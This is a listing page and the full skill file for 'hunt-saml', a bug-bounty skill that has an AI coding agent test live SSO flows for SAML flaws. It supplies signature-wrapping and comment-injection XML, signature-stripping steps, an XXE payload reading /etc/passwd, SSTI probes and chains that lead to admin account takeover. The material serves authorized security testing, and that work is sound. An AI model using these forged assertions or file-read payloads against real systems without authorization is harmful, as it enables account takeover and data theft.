hunt-saml — Claude Code skill: SAML and SSO attack hunting
hunt-saml hunts SAML and SSO flaws: XSW, comment injection, signature stripping and XXE in assertions. Built for poking at a live SSO flow.
MIT ★ 16,193 updated 2026-10-29
/plugin marketplace add elementalsouls/Claude-BugHunter
/plugin install claude-bughunter@elementalsoulsWhat hunt-saml does
The skill covers SAML and SSO attack patterns. It walks through XML Signature Wrapping, comment injection in NameID, removing the <Signature> element, XXE inside an assertion, key confusion and assertion replay. Each pattern comes with XML to work from and a note on where parsers disagree.
Start by locating endpoints: /saml/acs, /Shibboleth.sso, /sso/saml, Microsoft ADFS. A captured SAMLResponse gets decoded with base64 -d, edited in xmllint --format, re-encoded with base64 -w0 and sent back as raw base64 in POST binding. Redirect binding uses raw DEFLATE, not gzip. SAMLRaider, a Burp extension, is named for the XSW work; samlmagic and plain XML editing cover the rest.
Severity is mapped out. Successful XSW and a stripped signature are Critical, since either ends in takeover of any account. Comment injection in NameID lands at High, XXE in an assertion also High, and NameID manipulation depends on what that identifier maps to. Editing XML without crossing an authorization boundary stays Informational.
What it helps with
- map SAML endpoints from a recon URL list
- run XSW payloads against an ACS endpoint
- strip
<Signature>from aSAMLResponseand swapNameID - check whether a comment inside
NameIDsplits the parser's view of the identity - score findings by severity before writing the report
Example prompts for the agent
- Find the SAML endpoints in
recon/example.com/urls.txtand try XSW against the ACS - Decode this
SAMLResponse, drop<Signature>, setNameIDto[email protected]and re-encode it - Does the NameID comment trick reach High, or does it stay Informational?
How to install hunt-saml
1Plugin marketplace
/plugin marketplace add elementalsouls/Claude-BugHunter/plugin install claude-bughunter@elementalsoulsThis installs the whole claude-bughunter plugin with all its skills
2Skills CLI (Vercel)
npx skills add elementalsouls/Claude-BugHunter --skill hunt-saml -a claude-code3Manually: put the files in place
~/.claude/skills/hunt-saml/SKILL.mdCopy the whole skill folder; for one project use .claude/skills/hunt-saml/
1Skills CLI (Vercel)
npx skills add elementalsouls/Claude-BugHunter --skill hunt-saml -a codex2Manually: put the files in place
.agents/skills/hunt-saml/SKILL.mdFor all projects use ~/.agents/skills/
1Skills CLI (Vercel)
npx skills add elementalsouls/Claude-BugHunter --skill hunt-saml -a cursor2Manually: put the files in place
.cursor/skills/hunt-saml/SKILL.mdCursor also reads .agents/skills/ and .claude/skills/
1GitHub CLI
gh skill install elementalsouls/Claude-BugHunter skills/hunt-saml2Manually: put the files in place
.github/skills/hunt-saml/SKILL.md1Skills CLI (Vercel)
npx skills add elementalsouls/Claude-BugHunter --skill hunt-saml -a gemini-cli2Platform CLI
gemini skills install https://github.com/elementalsouls/Claude-BugHunter --path skills/hunt-samlManually: put the files in place
.devin/skills/hunt-saml/SKILL.mdThe legacy .windsurf/skills/ path still works
Claude.ai
Zip the folder and upload it in Settings → Capabilities → Skills
Step by step, with commands for each platform: How to install skills in Claude Code: five ways
Questions about hunt-saml
How do I install hunt-saml in Claude Code?
Through the marketplace: run /plugin marketplace add elementalsouls/Claude-BugHunter, then /plugin install claude-bughunter@elementalsouls.
What does hunt-saml do?
It sets up SAML checks: altering an Assertion while its signature still validates, comment injection in NameID, deleting <Signature>, XXE in an assertion. Each attack ships with XML to start from and the steps to follow.
Which findings does the skill rate Critical?
Successful XSW and a stripped signature, because both end in takeover of any account. Comment injection in NameID and XXE in an assertion are High.
Source text
SKILL.md · MIT
--- name: hunt-saml description: "Hunt SAML / SSO attacks. Patterns: XML Signature Wrapping (XSW) — modify Assertion while keeping Signature valid by relocating signed element, comment injection in NameID ([email protected]<!--evil-->@attacker.com → some parsers see [email protected]), signature stripping (remove Signature element entirely, server should reject but doesn't), key confusion (signed by attacker's IdP, accepted by SP), audience-restriction not validated, replay attack (same Assertion accepted twice within validity window). Tools: SAML Raider Burp extension, samlmagic, manual XML manipulation. Detection: any /saml endpoint, /Shibboleth.sso, /sso/saml/, Microsoft ADFS endpoints. Validate: account takeover via altered NameID, admin role injection via altered AttributeStatement. Use when hunting SSO flows, when SAML AssertionConsumerService is reachable, when chaining IdP-trust to SP-impersonation." sources: cve_database, oasis_saml_spec, academic_research, public_research report_count: 6 --- ## 20. SAML / SSO ATTACKS > SSO bugs frequently pay High–Critical. XML parsers are notoriously inconsistent. ### Attack Surface ```bash # Find SAML endpoints cat recon/$TARGET/urls.txt | grep -iE "saml|sso|login.*redirect|oauth|idp|sp" # Key endpoints: /saml/acs (assertion consumer service), /sso/saml, /auth/saml/callback ``` ### Attack 1: XML Signature Wrapping (XSW) ```xml <!-- BEFORE: valid assertion by [email protected] --> <saml:Response> <saml:Assertion ID="legit"> <NameID>[email protected]</NameID> <ds:Signature><!-- Valid, covers ID=legit --></ds:Signature> </saml:Assertion> </saml:Response> <!-- AFTER: inject evil assertion. Signature still validates (covers #legit). App processes the FIRST assertion found = evil. --> <saml:Response> <saml:Assertion ID="evil"> <NameID>[email protected]</NameID> <!-- Attacker-controlled --> </saml:Assertion> <saml:Assertion ID="legit"> <NameID>[email protected]</NameID> <ds:Signature><!-- Valid --></ds:Signature> </saml:Assertion> </saml:Response> ``` ### Attack 2: Comment Injection in NameID ```xml <!-- Attacker registers/controls account: [email protected] --> <NameID>[email protected]<!---->.evil.com</NameID> <!-- Signed canonical form (C14N without-comments strips the comment BEFORE digest): "[email protected]" — the value the signature covers. --> <!-- App's XML processor also strips the comment but only reads the text node UP TO the comment boundary: "[email protected]" — a DIFFERENT effective identity than was signed. The discrepancy is the bug. --> <!-- Works when signer's C14N and app's text extraction disagree on comments. CVE-2017-11428 (Ruby-SAML / OneLogin), CVE-2016-5697. --> ``` ### Attack 3: Signature Stripping ``` 1. Decode SAMLResponse: echo "BASE64" | base64 -d | xmllint --format - > saml.xml 2. Delete the entire <Signature> element 3. Change NameID to [email protected] 4. Re-encode: base64 -w0 saml.xml (POST binding = raw base64, NO compression; Redirect binding uses raw DEFLATE — not gzip) 5. Submit — if server doesn't verify signature presence = admin ATO ``` ### Attack 4: XXE in SAML Assertion ```xml <?xml version="1.0"?> <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <saml:Assertion> <NameID>&xxe;</NameID> </saml:Assertion> ``` ### Attack 5: NameID Manipulation ``` Test these NameID values: - [email protected] (generic admin) - [email protected] - [email protected] - Any email found in disclosed reports for this program - ${7*7} (SSTI if NameID gets rendered in a template) ``` ### Tools ```bash # SAMLRaider (Burp extension) — automated XSW testing # BApp Store → SAMLRaider → intercept SAMLResponse → SAML Raider tab # Manual workflow: echo "BASE64_SAML" | base64 -d > saml.xml # Edit saml.xml base64 -w0 saml.xml # Re-encode # URL-encode the result before sending as SAMLResponse parameter ``` ### SAML Triage ``` XSW successful = Critical (ATO any user) Sig stripping = Critical (ATO any user) Comment injection = High (ATO admin) XXE in assertion = High (file read / SSRF) NameID manip = Medium/High (depends on what NameID maps to) ``` --- ## Related Skills & Chains - **`hunt-ato`** — SAML XSW with absent audience-restriction validation is the canonical SP-impersonation-of-admin chain. Chain primitive: XSW1 attack relocates signed assertion to a secondary position + injects evil assertion with `[email protected]` in primary position + SP processes first assertion (the evil one) + SP doesn't validate `<AudienceRestriction>` so an assertion intended for IdP-A is accepted by SP-B → admin ATO across federated tenant boundary. - **`hunt-auth-bypass`** — SAML signature-stripping is the textbook auth-bypass pattern; this skill provides the SAML mechanics, hunt-auth-bypass provides the broader bypass-discipline. Chain primitive: capture valid SAMLResponse → regex-strip `<ds:Signature>` element entirely → modify `<NameID>` to admin → re-encode base64 → POST to `/saml/acs` → SP wantAssertionsSigned=false silently accepts → admin session issued without any cryptographic challenge. - **`hunt-oauth`** — SAML-fronted OAuth issuers turn assertion-level bugs into token-level ATO. Chain primitive: SP issues OAuth bearer tokens after SAML assertion validation + XSW alters NameID to admin → SP's token endpoint issues OAuth token bearing admin claims → all downstream OAuth-scoped APIs (admin API, billing API, user-management API) grant admin access from a single forged assertion. - **`hunt-xxe`** — SAML assertions ARE XML; XXE in the assertion parser is a separate chain on top of XSW. Chain primitive: SAML parser without `disallow-doctype-decl` + `<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>` in assertion + `<NameID>&xxe;</NameID>` → SP renders/logs NameID → /etc/passwd contents leak in error response or audit log → file-read primitive on SAML SP infrastructure. - **`security-arsenal`** — Pull the SAML/XSW Payload Catalog (XSW1-XSW8 templates, comment-injection variants for libxml/Xerces/MSXML parser differences, signature-wrapping with multiple Reference elements, key-confusion payloads where attacker-IdP-signed assertions are accepted by trust-naive SPs) and the always-rejected list for "SAMLResponse accepted on the wrong endpoint" claims that don't actually validate. - **`triage-validation`** — Run the Pre-Severity Gate before claiming Critical on a SAML "vulnerability" that only modifies non-security-relevant attributes (display name, locale) without altering NameID, AuthnContext, or role-bearing AttributeStatements. Theoretical XML manipulation that doesn't cross an authorization boundary is Informational, not Critical — the auth-decision-changing step is the gate.
© Sachin Sharma · MIT · elementalsouls/Claude-BugHunter